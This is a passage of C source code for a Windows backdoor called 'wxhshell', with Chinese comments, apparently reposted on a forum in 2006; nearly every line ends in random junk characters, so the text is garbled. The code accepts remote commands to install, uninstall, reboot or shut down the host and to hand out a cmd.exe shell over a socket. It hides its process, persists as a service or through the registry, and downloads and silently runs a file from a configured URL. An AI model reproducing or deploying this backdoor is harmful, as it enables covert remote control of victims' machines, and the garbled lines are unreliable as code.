  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2zhn`m  
  } GSP?X$E  
  else { DacN {r"3  
>E, Q  
    switch(cmd[0]) { YV-j/U{&  
  1DUb [W8  
  // 帮助 q]K'p,'  
  case '?': { "rsSW 3_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sMP:sCRC  
    break; #00D?nC  
  } ^ESUMXb  
  // 安装 `g--QR  
  case 'i': { R }1W  
    if(Install()) . @@an;C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $%Z3;:<Uf-  
    else *#zS^b n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); / $_M@>  
    break; tj[c#@[B  
    } }w#F6  
  // 卸载 K U $`!h  
  case 'r': { /HZv  
    if(Uninstall()) RpYcD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n&$/Q$d&  
    else Bhe{L?}0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fH[Wkif  
    break; )9B:Y;>)  
    } FNC[59   
  // 显示 wxhshell 所在路径 #ra*f~G  
  case 'p': { +Juh:1H  
    char svExeFile[MAX_PATH]; 6|5H=*)DH  
    strcpy(svExeFile,"\n\r"); `^x9(i/NE  
      strcat(svExeFile,ExeFile); w//omF'`  
        send(wsh,svExeFile,strlen(svExeFile),0); yPoSJzC=[  
    break; gGEIK0\{  
    } eeW`JG-E  
  // 重启 Kk=LXmL2  
  case 'b': { Yk'm?p#~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ywO mQcZ  
    if(Boot(REBOOT)) n}JPYu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Sz7\W0  
    else { *}w+ 68eO  
    closesocket(wsh); LL.x11 o3  
    ExitThread(0); wG8 nw;  
    } f0DK>L  
    break; }RIU8=P  
    } <UT>PCNG  
  // 关机 <!F3s`7~  
  case 'd': { JaI Kjn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aBxiK[[`  
    if(Boot(SHUTDOWN)) 7 \X$7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {~_ Y _-  
    else { Bd&`Xfebj  
    closesocket(wsh); VO_dA4C}z  
    ExitThread(0); gw+eM,Yp  
    } gfN2/TDC]P  
    break; epkD*7  
    } w#9_eq|3  
  // 获取shell n'M>xq_  
  case 's': { w"~<h;  
    CmdShell(wsh); \J3/keL  
    closesocket(wsh); u%B&WwHG  
    ExitThread(0); '1-maM\r  
    break; =ewyQ  
  } :IZ"D40m"  
  // 退出 g*J@[y;  
  case 'x': { ~x#vZ=]8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N}x9N.  
    CloseIt(wsh); E7`qmn  
    break; 64umul  
    } +rc SL8C  
  // 离开 Q|c|2byb  
  case 'q': { i%F<AY\O)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VD [pZ2;4  
    closesocket(wsh); v+6e;xl8  
    WSACleanup();  z)w-N  
    exit(1); : G=FiC  
    break; Jzex]_:1~  
        } w7 *V^B  
  } )/>A6A:  
  } ~*-qX$gr  
+qy6d7^  
  // 提示信息 U\vY/6;JI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ` >U?v  
} IPtvuEju\  
  } >{nH v)  
rt}^4IqL  
  return; Wekqn!h  
}  #^0(  
9]7u _  
// shell模块句柄 h/m6)m.D  
int CmdShell(SOCKET sock) +TSSi em  
{ WU)Ss`s \  
STARTUPINFO si; gKi{Y1  
ZeroMemory(&si,sizeof(si)); HID([Wk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bK*~ol  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^RNOcM|  
PROCESS_INFORMATION ProcessInfo; S|AjL Ng#  
char cmdline[]="cmd"; O|'1B>X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L l}yJ#3,  
  return 0; K 1W].(-@4  
} KY.ZT2k  
76@qHTh }  
// 自身启动模式 H=~9CJ+tc  
int StartFromService(void) f~ U.a.Fb  
{ >5ChcefH  
typedef struct , ;jGJr  
{ 8ObeiVXf)  
  DWORD ExitStatus;  f^b K=#  
  DWORD PebBaseAddress; ^sClz*%?  
  DWORD AffinityMask; N$#\Xdo  
  DWORD BasePriority; iqPBsIW  
  ULONG UniqueProcessId; '*T]fND4  
  ULONG InheritedFromUniqueProcessId; #*^+F?o,(  
}   PROCESS_BASIC_INFORMATION; 5-vo0:hk  
"pvH0"Q*  
PROCNTQSIP NtQueryInformationProcess; #g9ZX16}  
OZ(dpV9.S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @R q}nq=k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]?K. S6  
|"Z{I3Umg  
  HANDLE             hProcess; <+tD z(  
  PROCESS_BASIC_INFORMATION pbi; Adx`8}N8  
i$uN4tVKT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .%}+R|g  
  if(NULL == hInst ) return 0; DL8x":;  
@S3f:s0~D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +!yX T C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bw S*]!*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z&}-8JykH  
go'j/4Tp  
  if (!NtQueryInformationProcess) return 0; /'wF2UR  
:dnJY%/q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bF-"tm  
  if(!hProcess) return 0; }NCL>l;q  
-x*2t;%z{U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +%0z`E\?M#  
bS!\#f%9"  
  CloseHandle(hProcess); vjUp *R>h  
,6"l(]0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8e2?tmWM  
if(hProcess==NULL) return 0; *hY2.t; X  
z5 m>H;P  
HMODULE hMod; wkb$^mU  
char procName[255]; J/x2qQ$9  
unsigned long cbNeeded; N4!<Xj  
[f{VIE*?%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u8L$]vOg  
I;MD>%[W,  
  CloseHandle(hProcess); fiDl8=~@  
n/Dp"4H%q  
if(strstr(procName,"services")) return 1; // 以服务启动 /-M@[p&  
,kM)7!]N  
  return 0; // 注册表启动 '%;\YD9  
} #x@eDnb_  
=Lp7{09u  
// 主模块 27Emm c  
int StartWxhshell(LPSTR lpCmdLine) ccJM>9  
{ lB;FUck9  
  SOCKET wsl; &^.57]  
BOOL val=TRUE; z\!K<d"Xv  
  int port=0; #"*e+.j[;  
  struct sockaddr_in door; L 3XB"A#  
U5r}6D!)  
  if(wscfg.ws_autoins) Install(); Ud(`V:d  
~mp0B9L%  
port=atoi(lpCmdLine); 1KE:[YQ1  
kxB.,'  
if(port<=0) port=wscfg.ws_port; gP}+wbk  
 IDFFc&  
  WSADATA data; -ysn&d\rV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [2c{k  
ROb\Rx m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2N [=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CI7A# 6-  
  door.sin_family = AF_INET; c-4STPNQi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4=<*Vd`p  
  door.sin_port = htons(port); [ .,>wo~  
W;_E4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kUl  
closesocket(wsl); g=8un`]7  
return 1; K7)kS  
} k;^ :  
uE5X~  
  if(listen(wsl,2) == INVALID_SOCKET) { e":G*2a  
closesocket(wsl); vGd1w%J-  
return 1; PAF8W lg  
} 9$*s8}|  
  Wxhshell(wsl); 7<\C ?`q"  
  WSACleanup(); "&+3#D >  
5FeFN)  
return 0; @'2m$a  
t*S." q  
} hGTV;eU  
*C|  
// 以NT服务方式启动 :l\V'=%9'@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :l u5Uu~  
{ O6s.<` \  
DWORD   status = 0; _2ef LjXQ  
  DWORD   specificError = 0xfffffff; $.E6S<(h  
-G|a*^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9J-b6,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %VNlXHO.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; # TkR  
  serviceStatus.dwWin32ExitCode     = 0; QO;4}rq  
  serviceStatus.dwServiceSpecificExitCode = 0; KW3+luI6  
  serviceStatus.dwCheckPoint       = 0; Li{~=S@N*  
  serviceStatus.dwWaitHint       = 0; 2[yBD-":  
N:5[,O<m_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JK_OZ  
  if (hServiceStatusHandle==0) return; w}cY6O,1  
dl]#  
status = GetLastError(); Yl cbW0'c  
  if (status!=NO_ERROR) V*[b} Xew  
{ afG{lWE)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~.g3ukt  
    serviceStatus.dwCheckPoint       = 0; 8MwK.H[U  
    serviceStatus.dwWaitHint       = 0; 8(U{2B8>\%  
    serviceStatus.dwWin32ExitCode     = status; ;3'NMk  
    serviceStatus.dwServiceSpecificExitCode = specificError; MjL)IgT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); } ?@5W,  
    return; Qx3eLfm  
  } \%jVg\4 '  
, \)a_@@k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +>f<EPGn  
  serviceStatus.dwCheckPoint       = 0; "y?\Dx   
  serviceStatus.dwWaitHint       = 0; ._Zt=jB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mu]as: ~  
} (=x"Y{%  
p<Z3tD;Z  
// 处理NT服务事件,比如:启动、停止 )u:Q) %$t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #o`Ny4sq/  
{ (]2H7X:b  
switch(fdwControl) PXKJ^fa  
{ <cN~jv-w$  
case SERVICE_CONTROL_STOP: m:QG}{<.h  
  serviceStatus.dwWin32ExitCode = 0; l,|%7-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a6xj\w  
  serviceStatus.dwCheckPoint   = 0; 7*+]wEs  
  serviceStatus.dwWaitHint     = 0; RzKb{> ;A  
  { NPnHH:\;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %:v`EjRD0  
  } =qVP]  9  
  return; Y-!YhWsS  
case SERVICE_CONTROL_PAUSE: :a[Ihqfg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C@\{ehG  
  break; V<Z'(UI  
case SERVICE_CONTROL_CONTINUE: -T@`hk`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~EiH-z4U  
  break; n||A" @b\  
case SERVICE_CONTROL_INTERROGATE: ?i\;:<e4  
  break; uYI@ 9U  
}; y^>Q/H\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fT\:V5-  
} )=pD%$iq  
} l 667N  
// 标准应用程序主函数 }=](p-]5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5f'DoT  
{ alMYk  
 l~s7Ae  
// 获取操作系统版本 lJ;J~>  
OsIsNt=GetOsVer(); p&p.Q^"ok  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c,EBF\r8*  
DPgm%Xq9(!  
  // 从命令行安装 6c4&VW  
  if(strpbrk(lpCmdLine,"iI")) Install(); x+5k <Xi}  
SUCU P<G  
  // 下载执行文件 9Ru;`  
if(wscfg.ws_downexe) { uLeRZSC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5v.DX`"  
  WinExec(wscfg.ws_filenam,SW_HIDE); <~U4*  
} gwkb!#A  
yY{kG2b,  
if(!OsIsNt) { @r^!{  
// 如果时win9x,隐藏进程并且设置为注册表启动 q}|U4MJm  
HideProc(); <z+:j!~  
StartWxhshell(lpCmdLine);  %V G/  
} b]Kk2S/  
else 6(&Y(/  
  if(StartFromService()) `1` f*d v  
  // 以服务方式启动 <Cpp?DW_  
  StartServiceCtrlDispatcher(DispatchTable); rt7<Q47QE  
else Z [Xa%~5>5  
  // 普通方式启动 QWnndI_4p  
  StartWxhshell(lpCmdLine); R@ Y=o].2  
MZv]s  
return 0; ZM#=`k9  
}
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只看该作者 1 发表于: 2006-10-10
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